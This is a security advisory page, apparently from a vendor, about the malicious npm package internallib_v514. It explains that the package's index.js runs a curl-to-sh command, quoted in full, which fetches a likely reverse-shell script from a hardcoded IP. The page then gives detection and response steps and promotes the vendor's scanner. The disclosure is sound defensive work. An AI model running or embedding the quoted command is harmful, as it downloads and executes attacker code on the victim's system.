internallib_v514npm
internallib_v514 is a confirmed malicious npm package (MAL-2026-13483) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in internallib_v514 (npm)
What this malware does
index.js line 2 defines an exported command function that calls require('child_process').execSync("curl http://10.0.70.90/rev.sh | sh"), synchronously downloading a shell script from a hardcoded internal bare-IP address over plaintext HTTP and piping it into sh. The script name rev.sh is consistent with a reverse-shell payload. Any consumer that requires this package and invokes the exported function executes attacker-controlled code delivered from that host, with no integrity check, no TLS, and no pinning. The fetched bytes originate from a non-registry, non-publisher endpoint and are executed directly by a shell.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v514 (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v514 across your stack and pipelines.
If you installed it — respond
Remove internallib_v514 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If internallib_v514 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks internallib_v514 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks internallib_v514-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.